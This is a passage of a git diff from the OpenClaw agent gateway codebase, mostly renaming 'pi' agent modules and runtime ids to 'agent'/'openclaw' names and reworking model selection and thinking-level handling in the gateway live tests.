calculateMaxToolResultCharsWithCap, resolveAutoLiveToolResultMaxChars, -} from "../agents/pi-embedded-runner/tool-result-truncation.js"; +} from "../agents/embedded-agent-runner/tool-result-truncation.js"; export type ToolResultCapDoctorAdviceParams = { contextWindowTokens: number; diff --git a/src/flows/model-picker.ts b/src/flows/model-picker.ts index 4ad967c754e..53aa4139325 100644 --- a/src/flows/model-picker.ts +++ b/src/flows/model-picker.ts @@ -27,7 +27,7 @@ import { resolveAgentModelPrimaryValue, } from "../config/model-input.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { resolveOwningPluginIdsForProvider } from "../plugins/providers.js"; +import { resolveOwningPluginIdsForProviderRef } from "../plugins/providers.js"; import type { ProviderPlugin } from "../plugins/types.js"; import type { RuntimeEnv } from "../runtime.js"; import { createLazyRuntimeSurface } from "../shared/lazy-runtime.js"; @@ -334,7 +334,7 @@ function createPreferredProviderMatcher(params: { env?: NodeJS.ProcessEnv; }): (entryProvider: string) => boolean { const normalizedPreferredProvider = normalizeProviderId(params.preferredProvider); - const preferredOwnerPluginIds = resolveOwningPluginIdsForProvider({ + const preferredOwnerPluginIds = resolveOwningPluginIdsForProviderRef({ provider: normalizedPreferredProvider, config: params.cfg, workspaceDir: params.workspaceDir, @@ -355,7 +355,7 @@ function createPreferredProviderMatcher(params: { } const value = !!preferredOwnerPluginIdSet && - !!resolveOwningPluginIdsForProvider({ + !!resolveOwningPluginIdsForProviderRef({ provider: normalizedEntryProvider, config: params.cfg, workspaceDir: params.workspaceDir, @@ -704,7 +704,7 @@ export async function promptDefaultModel( const catalogProgress = params.prompter.progress(t("wizard.model.loadingModels")); let catalog: Awaited>; try { - catalog = await loadPickerModelCatalog(cfg); + catalog = await loadPickerModelCatalog(cfg, { preferredProvider }); } finally { catalogProgress.stop(); } diff --git a/src/gateway/gateway-cli-backend.live-helpers.ts b/src/gateway/gateway-cli-backend.live-helpers.ts index 6976babedba..629cde9a6ba 100644 --- a/src/gateway/gateway-cli-backend.live-helpers.ts +++ b/src/gateway/gateway-cli-backend.live-helpers.ts @@ -1,8 +1,10 @@ import { randomUUID } from "node:crypto"; import fs from "node:fs/promises"; import path from "node:path"; -import { resolveCliBackendLiveTest } from "../agents/cli-backends.js"; -import { migrateLegacyRuntimeModelRef } from "../agents/model-runtime-aliases.js"; +import { + listCliRuntimeModelBackendBindings, + resolveCliBackendLiveTest, +} from "../agents/cli-backends.js"; import { parseModelRef } from "../agents/model-selection.js"; import { loadOrCreateDeviceIdentity, @@ -60,6 +62,20 @@ export type CliBackendLiveEnvSnapshot = { anthropicApiKeyOld?: string; }; +function normalizeCliRuntimeModelTarget(raw: string | undefined): string | undefined { + if (!raw) { + return undefined; + } + const parsed = parseModelRef(raw, ""); + if (!parsed) { + return raw; + } + const binding = listCliRuntimeModelBackendBindings({ includeSetupRegistry: true }).find( + (entry) => entry.runtime === parsed.provider, + ); + return binding ? `${binding.provider}/${parsed.model}` : raw; +} + export function resolveCliBackendLiveModelSelection(params: { rawModel: string; defaultProvider: string; @@ -72,21 +88,21 @@ export function resolveCliBackendLiveModelSelection(params: { ); } - const migrated = migrateLegacyRuntimeModelRef(params.rawModel); - if (migrated?.legacyProvider === "codex-cli") { + if (parsed.provider === "codex-cli") { throw new Error( "OPENCLAW_LIVE_CLI_BACKEND_MODEL=codex-cli/... is no longer supported. Use a supported CLI backend such as claude-cli or google-gemini-cli.", ); } - if (migrated?.cli) { + const cliBinding = listCliRuntimeModelBackendBindings({ includeSetupRegistry: true }).find( + (binding) => binding.runtime === parsed.provider, + ); + if (cliBinding) { return { - providerId: migrated.runtime, - cliModelKey: `${migrated.runtime}/${migrated.model}`, - configModelKey: migrated.ref, - configModelSwitchTarget: params.modelSwitchTarget - ? (migrateLegacyRuntimeModelRef(params.modelSwitchTarget)?.ref ?? params.modelSwitchTarget) - : undefined, - agentRuntime: { id: migrated.runtime }, + providerId: cliBinding.runtime, + cliModelKey: `${cliBinding.runtime}/${parsed.model}`, + configModelKey: `${cliBinding.provider}/${parsed.model}`, + configModelSwitchTarget: normalizeCliRuntimeModelTarget(params.modelSwitchTarget), + agentRuntime: { id: cliBinding.runtime }, }; } @@ -96,7 +112,7 @@ export function resolveCliBackendLiveModelSelection(params: { cliModelKey: modelKey, configModelKey: modelKey, configModelSwitchTarget: params.modelSwitchTarget, - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, }; } diff --git a/src/gateway/gateway-cli-backend.live.test.ts b/src/gateway/gateway-cli-backend.live.test.ts index 1b134a1be16..776a7aa3b7f 100644 --- a/src/gateway/gateway-cli-backend.live.test.ts +++ b/src/gateway/gateway-cli-backend.live.test.ts @@ -375,7 +375,6 @@ describeLive("gateway live (cli backend)", () => { ? { [modelSwitchTarget]: { agentRuntime: modelSelection.agentRuntime } } : {}), }, - agentRuntime: modelSelection.agentRuntime, cliBackends: { ...existingBackends, [providerId]: { diff --git a/src/gateway/gateway-codex-harness.live.test.ts b/src/gateway/gateway-codex-harness.live.test.ts index f3f8874a78d..4c7d2a23e73 100644 --- a/src/gateway/gateway-codex-harness.live.test.ts +++ b/src/gateway/gateway-codex-harness.live.test.ts @@ -237,16 +237,15 @@ async function writeLiveGatewayConfig(params: { }, }, }, - // The Codex plugin owns the `codex/*` catalog/auth marker. Keeping the - // fixture on that provider proves the app-server harness path instead of - // exercising legacy OpenAI-Codex provider overrides. + // The Codex plugin owns the `codex/*` catalog/auth marker. Keeping runtime + // policy on the model entry proves the app-server harness path. agents: { defaults: { workspace: params.workspace, - agentRuntime: { id: "codex" }, skipBootstrap: true, timeoutSeconds: CODEX_HARNESS_AGENT_TIMEOUT_SECONDS, model: { primary: params.modelKey }, + models: { [params.modelKey]: { agentRuntime: { id: "codex" } } }, sandbox: { mode: "off" }, }, list: [ @@ -254,7 +253,6 @@ async function writeLiveGatewayConfig(params: { id: "dev", default: true, workspace: params.workspace, - agentRuntime: { id: "codex" }, model: { primary: params.modelKey }, models: { [params.modelKey]: { agentRuntime: { id: "codex" } } }, }, diff --git a/src/gateway/gateway-models.profiles.live.test.ts b/src/gateway/gateway-models.profiles.live.test.ts index 6317a8fca97..33a5441b0bf 100644 --- a/src/gateway/gateway-models.profiles.live.test.ts +++ b/src/gateway/gateway-models.profiles.live.test.ts @@ -7,14 +7,12 @@ import path from "node:path"; import { clampThinkingLevel, type Api, - getModels, - getProviders, - type KnownProvider, type Model, type ModelThinkingLevel, -} from "@earendil-works/pi-ai"; +} from "openclaw/plugin-sdk/llm"; import { afterEach, describe, expect, it } from "vitest"; import { renderCatNoncePngBase64 } from "../../test/helpers/live-image-probe.js"; +import { discoverAuthStorage, discoverModels } from "../agents/agent-model-discovery.js"; import { resolveAgentWorkspaceDir, resolveDefaultAgentDir } from "../agents/agent-scope.js"; import { ensureAuthProfileStore, @@ -44,7 +42,6 @@ import { getApiKeyForModel, resolveEnvApiKey } from "../agents/model-auth.js"; import { normalizeProviderId } from "../agents/model-selection.js"; import { shouldSuppressBuiltInModel } from "../agents/model-suppression.js"; import { ensureOpenClawModelsJson } from "../agents/models-config.js"; -import { discoverAuthStorage, discoverModels } from "../agents/pi-model-discovery.js"; import { STREAM_ERROR_FALLBACK_TEXT } from "../agents/stream-message-shared.js"; import { clearRuntimeConfigSnapshot, getRuntimeConfig } from "../config/io.js"; import type { ModelsConfig, ModelProviderConfig, OpenClawConfig } from "../config/types.js"; @@ -71,7 +68,10 @@ const REQUIRE_PROFILE_KEYS = isLiveProfileKeyModeEnabled(); const LIVE_CREDENTIAL_PRECEDENCE = REQUIRE_PROFILE_KEYS ? "profile-first" : "env-first"; const PROVIDERS = parseFilter(process.env.OPENCLAW_LIVE_GATEWAY_PROVIDERS); const GATEWAY_LIVE_SMOKE = isTruthyEnvValue(process.env.OPENCLAW_LIVE_GATEWAY_SMOKE); -const THINKING_LEVEL = GATEWAY_LIVE_SMOKE ? "low" : "high"; +const THINKING_LEVEL = resolveGatewayLiveThinkingLevel({ + raw: process.env.OPENCLAW_LIVE_GATEWAY_THINKING, + smoke: GATEWAY_LIVE_SMOKE, +}); const ENABLE_EXTRA_TOOL_PROBES = !GATEWAY_LIVE_SMOKE; const ENABLE_EXTRA_IMAGE_PROBES = !GATEWAY_LIVE_SMOKE; const THINKING_TAG_RE = /<\s*\/?\s*(?:(?:antml:)?(?:think(?:ing)?|thought)|antthinking)\s*>/i; @@ -245,7 +245,7 @@ function resolveGatewayLiveModelTimeoutMs( liveModelTimeoutRaw = process.env.OPENCLAW_LIVE_MODEL_TIMEOUT_MS, stepTimeoutMs = GATEWAY_LIVE_PROBE_TIMEOUT_MS, ): number { - const requested = toInt(gatewayModelTimeoutRaw, toInt(liveModelTimeoutRaw, 120_000)); + const requested = toInt(gatewayModelTimeoutRaw, toInt(liveModelTimeoutRaw, 300_000)); return Math.max(stepTimeoutMs, requested); } @@ -704,6 +704,10 @@ describe("resolveGatewayLiveModelTimeoutMs", () => { expect(resolveGatewayLiveModelTimeoutMs("", "45000", 30_000)).toBe(45_000); }); + it("defaults to the release live model budget", () => { + expect(resolveGatewayLiveModelTimeoutMs("", undefined, 90_000)).toBe(300_000); + }); + it("never goes below the probe timeout", () => { expect(resolveGatewayLiveModelTimeoutMs("45000", undefined, 90_000)).toBe(90_000); }); @@ -858,7 +862,7 @@ describe("resolveGatewayLiveMaxModels", () => { }); }); -function createGatewayLiveTestModel(provider: string, id: string): Model { +function createGatewayLiveTestModel(provider: string, id: string): Model { return { provider, id, @@ -869,7 +873,7 @@ function createGatewayLiveTestModel(provider: string, id: string): Model { contextWindow: 1_000, maxTokens: 100, reasoning: false, - } as Model; + } as Model; } describe("resolveExplicitLiveModelCandidates", () => { @@ -1008,6 +1012,13 @@ describe("providerScopedModelRegistryProviders", () => { }); describe("resolveGatewayLiveModelThinkingLevel", () => { + it("allows release lanes to lower gateway live thinking without smoke mode", () => { + expect(resolveGatewayLiveThinkingLevel({ raw: "low", smoke: false })).toBe("low"); + expect(resolveGatewayLiveThinkingLevel({ raw: undefined, smoke: false })).toBe("high"); + expect(resolveGatewayLiveThinkingLevel({ raw: undefined, smoke: true })).toBe("low"); + expect(resolveGatewayLiveThinkingLevel({ raw: "wat", smoke: false })).toBe("high"); + }); + it("clamps requested thinking to levels supported by model metadata", () => { expect( resolveGatewayLiveModelThinkingLevel({ @@ -1031,14 +1042,14 @@ describe("resolveGatewayLiveModelThinkingLevel", () => { }); describe("buildLiveGatewayConfig", () => { - it("pins selected live gateway models to the Pi runtime", () => { + it("pins selected live gateway models to the OpenClaw runtime", () => { const cfg = buildLiveGatewayConfig({ cfg: {}, candidates: [createGatewayLiveTestModel("openai", "gpt-5.5")], }); expect(cfg.agents?.defaults?.models?.["openai/gpt-5.5"]).toEqual({ - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, }); }); }); @@ -1833,7 +1844,7 @@ async function requestGatewayAgentText(params: { type GatewayModelSuiteParams = { label: string; cfg: OpenClawConfig; - candidates: Array>; + candidates: Array; allowNotFoundSkip: boolean; extraToolProbes: boolean; extraImageProbes: boolean; @@ -1842,20 +1853,15 @@ type GatewayModelSuiteParams = { }; type LiveModelRegistry = { - find(provider: string, modelId: string): Model | null | undefined; - getAll(): Array>; + find(provider: string, modelId: string): Model | null | undefined; + getAll(): Array; }; -function resolveKnownProvider(provider: string): KnownProvider | undefined { - const normalized = provider.trim(); - return getProviders().find((knownProvider) => knownProvider === normalized); -} - function toGatewayLiveModel(params: { provider: string; providerConfig: ModelProviderConfig; modelConfig: NonNullable[number]; -}): Model | null { +}): Model | null { const id = params.modelConfig.id?.trim(); const api = params.modelConfig.api ?? params.providerConfig.api; const baseUrl = params.modelConfig.baseUrl ?? params.providerConfig.baseUrl; @@ -1888,7 +1894,7 @@ function toGatewayLiveModel(params: { async function loadProviderScopedConfiguredModels(params: { agentDir: string; providerList: readonly string[]; -}): Promise>> { +}): Promise> { const modelsPath = path.join(params.agentDir, "models.json"); let parsed: { providers?: Record }; try { @@ -1900,7 +1906,7 @@ async function loadProviderScopedConfiguredModels(params: { } const providers = parsed.providers ?? {}; - const models: Array> = []; + const models: Array = []; const seen = new Set(); for (const rawProvider of params.providerList) { const normalizedProvider = normalizeProviderId(rawProvider); @@ -1927,42 +1933,14 @@ async function loadProviderScopedConfiguredModels(params: { return models; } -function loadProviderScopedBuiltInModels(providerList: readonly string[]): Array> { - const models: Array> = []; - const seen = new Set(); - for (const rawProvider of providerList) { - const provider = normalizeProviderId(rawProvider); - if (!provider) { - continue; - } - const knownProvider = resolveKnownProvider(provider); - if (!knownProvider) { - continue; - } - for (const model of getModels(knownProvider)) { - const key = `${normalizeProviderId(model.provider)}/${model.id.toLowerCase()}`; - if (seen.has(key)) { - continue; - } - seen.add(key); - models.push(model); - } - } - return models; -} - async function loadProviderScopedModels(params: { agentDir: string; providerList: readonly string[]; -}): Promise>> { - const configured = await loadProviderScopedConfiguredModels(params); - if (configured.length > 0) { - return configured; - } - return loadProviderScopedBuiltInModels(params.providerList); +}): Promise> { + return await loadProviderScopedConfiguredModels(params); } -function createStaticLiveModelRegistry(models: Array>): LiveModelRegistry { +function createStaticLiveModelRegistry(models: Array): LiveModelRegistry { return { find(provider, modelId) { const normalizedProvider = normalizeProviderId(provider); @@ -1979,6 +1957,65 @@ function createStaticLiveModelRegistry(models: Array>): LiveModelRegi }; } +function toLiveModelConfig(model: Model): NonNullable[number] { + return { + id: model.id, + name: model.name, + api: model.api as ModelProviderConfig["api"], + baseUrl: model.baseUrl, + input: model.input ?? ["text"], + reasoning: model.reasoning, + cost: model.cost, + contextWindow: model.contextWindow, + maxTokens: model.maxTokens, + ...(model.compat ? { compat: model.compat } : {}), + }; +} + +function mergeLiveProviderConfig(params: { + base: ModelProviderConfig | undefined; + discovered: ModelProviderConfig; +}): ModelProviderConfig { + const baseModels = params.base?.models ?? []; + const discoveredModels = params.discovered.models ?? []; + const mergedModels = new Map[number]>(); + for (const model of discoveredModels) { + if (model.id) { + mergedModels.set(model.id, model); + } + } + for (const model of baseModels) { + if (model.id) { + mergedModels.set(model.id, model); + } + } + return { + ...params.discovered, + ...params.base, + api: params.base?.api ?? params.discovered.api, + baseUrl: params.base?.baseUrl ?? params.discovered.baseUrl, + models: [...mergedModels.values()], + }; +} + +function buildLiveProviderConfigs(candidates: Array): Record { + const providers: Record = {}; + for (const model of candidates) { + const existing = providers[model.provider]; + if (existing) { + existing.models ??= []; + existing.models.push(toLiveModelConfig(model)); + continue; + } + providers[model.provider] = { + api: model.api as ModelProviderConfig["api"], + baseUrl: model.baseUrl, + models: [toLiveModelConfig(model)], + }; + } + return providers; +} + function parseExplicitLiveModelRef( raw: string, providerFilter: Set | null, @@ -2009,11 +2046,11 @@ function resolveExplicitLiveModelCandidates(params: { modelFilter: Set | null; providerFilter: Set | null; targetMatcher: ReturnType; -}): Array> | null { +}): Array | null { if (!params.modelFilter || params.modelFilter.size === 0) { return null; } - const candidates: Array> = []; + const candidates: Array = []; const seen = new Set(); for (const raw of params.modelFilter) { const ref = parseExplicitLiveModelRef(raw, params.providerFilter); @@ -2041,7 +2078,7 @@ function resolveExplicitLiveModelCandidates(params: { function resolveGatewayLiveModelThinkingLevel(params: { cfg: OpenClawConfig; - model: Model; + model: Model; requestedLevel: string; }): string { const { model, requestedLevel } = params; @@ -2073,16 +2110,36 @@ function resolveGatewayLiveModelThinkingLevel(params: { return clampThinkingLevel(model, normalized); } +function resolveGatewayLiveThinkingLevel(params: { raw?: string; smoke: boolean }): string { + const raw = params.raw?.trim().toLowerCase(); + if (!raw) { + return params.smoke ? "low" : "high"; + } + return ["off", "minimal", "low", "medium", "high", "xhigh"].includes(raw) + ? raw + : params.smoke + ? "low" + : "high"; +} + function buildLiveGatewayConfig(params: { cfg: OpenClawConfig; - candidates: Array>; + candidates: Array; providerOverrides?: Record; }): OpenClawConfig { const providerOverrides = params.providerOverrides ?? {}; const lmstudioProvider = params.cfg.models?.providers?.lmstudio; const baseProviders = params.cfg.models?.providers ?? {}; + const candidateProviders = buildLiveProviderConfigs(params.candidates); + const discoveredProviders = Object.fromEntries( + Object.entries(candidateProviders).map(([provider, discovered]) => [ + provider, + mergeLiveProviderConfig({ base: baseProviders[provider], discovered }), + ]), + ); const nextProviders = { ...baseProviders, + ...discoveredProviders, ...(lmstudioProvider ? { lmstudio: { @@ -2113,7 +2170,7 @@ function buildLiveGatewayConfig(params: { models: Object.fromEntries( params.candidates.map((m) => [ `${m.provider}/${m.id}`, - { agentRuntime: { id: "pi" as const } }, + { agentRuntime: { id: "openclaw" as const } }, ]), ), }, @@ -2205,7 +2262,6 @@ async function runGatewayModelSuite(params: GatewayModelSuiteParams) { disableBonjour: process.env.OPENCLAW_DISABLE_BONJOUR, logLevel: process.env.OPENCLAW_LOG_LEVEL, agentDir: process.env.OPENCLAW_AGENT_DIR, - piAgentDir: process.env.PI_CODING_AGENT_DIR, stateDir: process.env.OPENCLAW_STATE_DIR, }; let tempAgentDir: string | undefined; @@ -2246,7 +2302,6 @@ async function runGatewayModelSuite(params: GatewayModelSuiteParams) { saveAuthProfileStore(sanitizedStore, tempSessionAgentDir); } process.env.OPENCLAW_AGENT_DIR = tempAgentDir; - process.env.PI_CODING_AGENT_DIR = tempAgentDir; const workspaceDir = resolveAgentWorkspaceDir(params.cfg, agentId); await fs.mkdir(workspaceDir, { recursive: true }); @@ -2972,7 +3027,6 @@ async function runGatewayModelSuite(params: GatewayModelSuiteParams) { process.env.OPENCLAW_DISABLE_BONJOUR = previous.disableBonjour; process.env.OPENCLAW_LOG_LEVEL = previous.logLevel; process.env.OPENCLAW_AGENT_DIR = previous.agentDir; - process.env.PI_CODING_AGENT_DIR = previous.piAgentDir; process.env.OPENCLAW_STATE_DIR = previous.stateDir; } } @@ -2993,16 +3047,15 @@ describeLive("gateway live (dev agent, profile keys)", () => { ); const workspaceDir = resolveAgentWorkspaceDir(cfg, DEFAULT_AGENT_ID); logProgress("[all-models] preparing models.json"); - await withGatewayLiveSetupTimeout( + const modelsJsonResult = await withGatewayLiveSetupTimeout( ensureOpenClawModelsJson(cfg, undefined, { workspaceDir, ...(providerList ? { providerDiscoveryProviderIds: providerList } : {}), - providerDiscoveryEntriesOnly: true, }), "[all-models] prepare models.json", ); + const agentDir = modelsJsonResult.agentDir; - const agentDir = resolveDefaultAgentDir(cfg); const rawModels = process.env.OPENCLAW_LIVE_GATEWAY_MODELS?.trim(); const useModern = !rawModels || rawModels === "modern" || rawModels === "all"; const useExplicit = Boolean(rawModels) && !useModern; @@ -3015,7 +3068,7 @@ describeLive("gateway live (dev agent, profile keys)", () => { }); let authProfileStore: AuthProfileStore | undefined; let modelRegistry: LiveModelRegistry; - let all: Array>; + let all: Array; if (providerScopedModelProviders) { logProgress("[all-models] loading provider-scoped model refs"); all = await withGatewayLiveSetupTimeout( @@ -3098,7 +3151,7 @@ describeLive("gateway live (dev agent, profile keys)", () => { wantedCount: wanted.length, }); - const candidates: Array> = []; + const candidates: Array = []; const skipped: Array<{ model: string; error: string }> = []; for (const model of wanted) { if (shouldSuppressBuiltInModel({ provider: model.provider, id: model.id })) { @@ -3231,8 +3284,8 @@ describeLive("gateway live (dev agent, profile keys)", () => { const agentDir = resolveDefaultAgentDir(cfg); const authStorage = discoverAuthStorage(agentDir); const modelRegistry = discoverModels(authStorage, agentDir); - const anthropic = modelRegistry.find("anthropic", "claude-opus-4-6") as Model | null; - const zai = modelRegistry.find("zai", "glm-5.1") as Model | null; + const anthropic = modelRegistry.find("anthropic", "claude-opus-4-6") as Model | null; + const zai = modelRegistry.find("zai", "glm-5.1") as Model | null; if (!anthropic || !zai) { return; diff --git a/src/gateway/mcp-http.handlers.ts b/src/gateway/mcp-http.handlers.ts index d4da84e4d5c..aad53ba69fb 100644 --- a/src/gateway/mcp-http.handlers.ts +++ b/src/gateway/mcp-http.handlers.ts @@ -1,5 +1,5 @@ import crypto from "node:crypto"; -import { runBeforeToolCallHook, type HookContext } from "../agents/pi-tools.before-tool-call.js"; +import { runBeforeToolCallHook, type HookContext } from "../agents/agent-tools.before-tool-call.js"; import { formatErrorMessage } from "../infra/errors.js"; import { MCP_LOOPBACK_SERVER_NAME, diff --git a/src/gateway/mcp-http.test.ts b/src/gateway/mcp-http.test.ts index a4efeb8482d..179d2dbf662 100644 --- a/src/gateway/mcp-http.test.ts +++ b/src/gateway/mcp-http.test.ts @@ -72,7 +72,7 @@ vi.mock("../config/sessions.js", () => ({ resolveMainSessionKey: () => "agent:main:main", })); -vi.mock("../agents/pi-tools.before-tool-call.js", () => ({ +vi.mock("../agents/agent-tools.before-tool-call.js", () => ({ runBeforeToolCallHook: (...args: Parameters) => runBeforeToolCallHookMock(...args), })); diff --git a/src/gateway/openai-compat-errors.ts b/src/gateway/openai-compat-errors.ts index 5ca599436ea..a24b14e0c85 100644 --- a/src/gateway/openai-compat-errors.ts +++ b/src/gateway/openai-compat-errors.ts @@ -1,5 +1,5 @@ +import type { FailoverReason } from "../agents/embedded-agent-helpers/types.js"; import { describeFailoverError, resolveFailoverStatus } from "../agents/failover-error.js"; -import type { FailoverReason } from "../agents/pi-embedded-helpers/types.js"; export type OpenAiCompatError = { status: number; diff --git a/src/gateway/openai-http.test.ts b/src/gateway/openai-http.test.ts index 6fee1d4c493..230ae8d0152 100644 --- a/src/gateway/openai-http.test.ts +++ b/src/gateway/openai-http.test.ts @@ -2,13 +2,13 @@ import fs from "node:fs/promises"; import http from "node:http"; import path from "node:path"; import { afterAll, beforeAll, describe, expect, it, vi } from "vitest"; -import { FailoverError } from "../agents/failover-error.js"; +import { createClientToolNameConflictError } from "../agents/agent-tool-definition-adapter.js"; import { createStubSessionHarness, emitAssistantTextDelta, -} from "../agents/pi-embedded-subscribe.e2e-harness.js"; -import { subscribeEmbeddedPiSession } from "../agents/pi-embedded-subscribe.js"; -import { createClientToolNameConflictError } from "../agents/pi-tool-definition-adapter.js"; +} from "../agents/embedded-agent-subscribe.e2e-harness.js"; +import { subscribeEmbeddedAgentSession } from "../agents/embedded-agent-subscribe.js"; +import { FailoverError } from "../agents/failover-error.js"; import { HISTORY_CONTEXT_MARKER } from "../auto-reply/reply/history.js"; import { CURRENT_MESSAGE_MARKER } from "../auto-reply/reply/mentions.js"; import { emitAgentEvent } from "../infra/agent-events.js"; @@ -1066,7 +1066,7 @@ describe("OpenAI-compatible HTTP API (e2e)", () => { agentCommand.mockImplementationOnce((async (opts: unknown) => { const runId = (opts as { runId?: string } | undefined)?.runId ?? ""; const { session, emit } = createStubSessionHarness(); - subscribeEmbeddedPiSession({ session, runId }); + subscribeEmbeddedAgentSession({ session, runId }); emit({ type: "message_start", message: { role: "assistant" } }); for (const delta of ["<", "final>Title\n", "Line one\nLine two"]) { emitAssistantTextDelta({ emit, delta }); diff --git a/src/gateway/openai-http.ts b/src/gateway/openai-http.ts index a2fd708dca4..52debdb334e 100644 --- a/src/gateway/openai-http.ts +++ b/src/gateway/openai-http.ts @@ -2,7 +2,7 @@ import { randomUUID } from "node:crypto"; import type { IncomingMessage, ServerResponse } from "node:http"; import type { AgentStreamParams, ClientToolDefinition } from "../agents/command/shared-types.js"; import type { ImageContent } from "../agents/command/types.js"; -import { isClientToolNameConflictError } from "../agents/pi-tool-definition-adapter.js"; +import { isClientToolNameConflictError } from "../agents/agent-tool-definition-adapter.js"; import { STREAM_ERROR_FALLBACK_TEXT } from "../agents/stream-message-shared.js"; import { hasNonzeroUsage, diff --git a/src/gateway/openresponses-http.test.ts b/src/gateway/openresponses-http.test.ts index f495037648f..4d5ebea4ba7 100644 --- a/src/gateway/openresponses-http.test.ts +++ b/src/gateway/openresponses-http.test.ts @@ -2,8 +2,8 @@ import fs from "node:fs/promises"; import http from "node:http"; import path from "node:path"; import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { createClientToolNameConflictError } from "../agents/agent-tool-definition-adapter.js"; import { FailoverError } from "../agents/failover-error.js"; -import { createClientToolNameConflictError } from "../agents/pi-tool-definition-adapter.js"; import { HISTORY_CONTEXT_MARKER } from "../auto-reply/reply/history.js"; import { CURRENT_MESSAGE_MARKER } from "../auto-reply/reply/mentions.js"; import { emitAgentEvent } from "../infra/agent-events.js"; diff --git a/src/gateway/openresponses-http.ts b/src/gateway/openresponses-http.ts index 49da9305ee1..0dd3617b5e2 100644 --- a/src/gateway/openresponses-http.ts +++ b/src/gateway/openresponses-http.ts @@ -8,9 +8,9 @@ import { createHash, randomUUID } from "node:crypto"; import type { IncomingMessage, ServerResponse } from "node:http"; +import { isClientToolNameConflictError } from "../agents/agent-tool-definition-adapter.js"; import type { ImageContent } from "../agents/command/types.js"; -import type { ClientToolDefinition } from "../agents/pi-embedded-runner/run/params.js"; -import { isClientToolNameConflictError } from "../agents/pi-tool-definition-adapter.js"; +import type { ClientToolDefinition } from "../agents/embedded-agent-runner/run/params.js"; import { createDefaultDeps } from "../cli/deps.js"; import type { CliDeps } from "../cli/deps.types.js"; import { agentCommandFromIngress } from "../commands/agent.js"; diff --git a/src/gateway/protocol/schema/agents-models-skills.ts b/src/gateway/protocol/schema/agents-models-skills.ts index f7496f2e9c3..25a880e8a7c 100644 --- a/src/gateway/protocol/schema/agents-models-skills.ts +++ b/src/gateway/protocol/schema/agents-models-skills.ts @@ -43,7 +43,7 @@ export const AgentSummarySchema = Type.Object( Type.Object( { id: NonEmptyString, - fallback: Type.Optional(Type.Union([Type.Literal("pi"), Type.Literal("none")])), + fallback: Type.Optional(Type.Union([Type.Literal("openclaw"), Type.Literal("none")])), source: Type.Union([ Type.Literal("env"), Type.Literal("agent"), diff --git a/src/gateway/server-close.test.ts b/src/gateway/server-close.test.ts index 113cdec5ee4..6ac431113da 100644 --- a/src/gateway/server-close.test.ts +++ b/src/gateway/server-close.test.ts @@ -44,16 +44,16 @@ vi.mock("../agents/harness/registry.js", () => ({ disposeRegisteredAgentHarnesses: mocks.disposeAgentHarnesses, })); -vi.mock("../agents/pi-bundle-mcp-tools.js", async () => ({ - ...(await vi.importActual( - "../agents/pi-bundle-mcp-tools.js", +vi.mock("../agents/agent-bundle-mcp-tools.js", async () => ({ + ...(await vi.importActual( + "../agents/agent-bundle-mcp-tools.js", )), disposeAllSessionMcpRuntimes: mocks.disposeAllSessionMcpRuntimes, })); -vi.mock("../agents/pi-bundle-lsp-runtime.js", async () => ({ - ...(await vi.importActual( - "../agents/pi-bundle-lsp-runtime.js", +vi.mock("../agents/agent-bundle-lsp-runtime.js", async () => ({ + ...(await vi.importActual( + "../agents/agent-bundle-lsp-runtime.js", )), disposeAllBundleLspRuntimes: mocks.disposeAllBundleLspRuntimes, })); diff --git a/src/gateway/server-close.ts b/src/gateway/server-close.ts index b1073565e1a..9615cf30239 100644 --- a/src/gateway/server-close.ts +++ b/src/gateway/server-close.ts @@ -1,7 +1,7 @@ import type { Server as HttpServer } from "node:http"; import type { WebSocketServer } from "ws"; +import { disposeAllSessionMcpRuntimes } from "../agents/agent-bundle-mcp-tools.js"; import { disposeRegisteredAgentHarnesses } from "../agents/harness/registry.js"; -import { disposeAllSessionMcpRuntimes } from "../agents/pi-bundle-mcp-tools.js"; import { type ChannelId, listChannelPlugins } from "../channels/plugins/index.js"; import { createInternalHookEvent, triggerInternalHook } from "../hooks/internal-hooks.js"; import type { HeartbeatRunner } from "../infra/heartbeat-runner.js"; @@ -319,7 +319,7 @@ async function disposeRuntimeWithShutdownGrace(params: { } async function disposeAllBundleLspRuntimesOnDemand(): Promise { - const { disposeAllBundleLspRuntimes } = await import("../agents/pi-bundle-lsp-runtime.js"); + const { disposeAllBundleLspRuntimes } = await import("../agents/agent-bundle-lsp-runtime.js"); await disposeAllBundleLspRuntimes(); } diff --git a/src/gateway/server-cron.ts b/src/gateway/server-cron.ts index 695f4e2086b..855017472a0 100644 --- a/src/gateway/server-cron.ts +++ b/src/gateway/server-cron.ts @@ -1,5 +1,5 @@ import { resolveDefaultAgentId } from "../agents/agent-scope.js"; -import { abortAndDrainEmbeddedPiRun } from "../agents/pi-embedded.js"; +import { abortAndDrainEmbeddedAgentRun } from "../agents/embedded-agent.js"; import { cleanupBrowserSessionsForLifecycleEnd } from "../browser-lifecycle-cleanup.js"; import type { CliDeps } from "../cli/deps.types.js"; import { getRuntimeConfig } from "../config/io.js"; @@ -387,7 +387,7 @@ export function buildGatewayCronService(params: { if (!execution?.sessionId) { return; } - const result = await abortAndDrainEmbeddedPiRun({ + const result = await abortAndDrainEmbeddedAgentRun({ sessionId: execution.sessionId, sessionKey: execution.sessionKey, settleMs: 15_000, diff --git a/src/gateway/server-methods/AGENTS.md b/src/gateway/server-methods/AGENTS.md index c2269f5707c..c6839330f7b 100644 --- a/src/gateway/server-methods/AGENTS.md +++ b/src/gateway/server-methods/AGENTS.md @@ -1,3 +1,3 @@ # Gateway Server Methods Notes -- Pi session transcripts are a `parentId` chain/DAG; never append Pi `type: "message"` entries via raw JSONL writes (missing `parentId` can sever the leaf path and break compaction/history). Always write transcript messages via `SessionManager.appendMessage(...)` (or a wrapper that uses it). +- agent session transcripts are a `parentId` chain/DAG; never append raw `type: "message"` entries via JSONL writes (missing `parentId` can sever the leaf path and break compaction/history). Always write transcript messages via `SessionManager.appendMessage(...)` (or a wrapper that uses it). diff --git a/src/gateway/server-methods/agent.ts b/src/gateway/server-methods/agent.ts index 08422b5472e..568919e2545 100644 --- a/src/gateway/server-methods/agent.ts +++ b/src/gateway/server-methods/agent.ts @@ -5,6 +5,7 @@ import { resolveDefaultAgentId, resolveAgentWorkspaceDir, } from "../../agents/agent-scope.js"; +import { resolveTrustedGroupId } from "../../agents/agent-tools.policy.js"; import { consumeExecApprovalFollowupRuntimeHandoff, 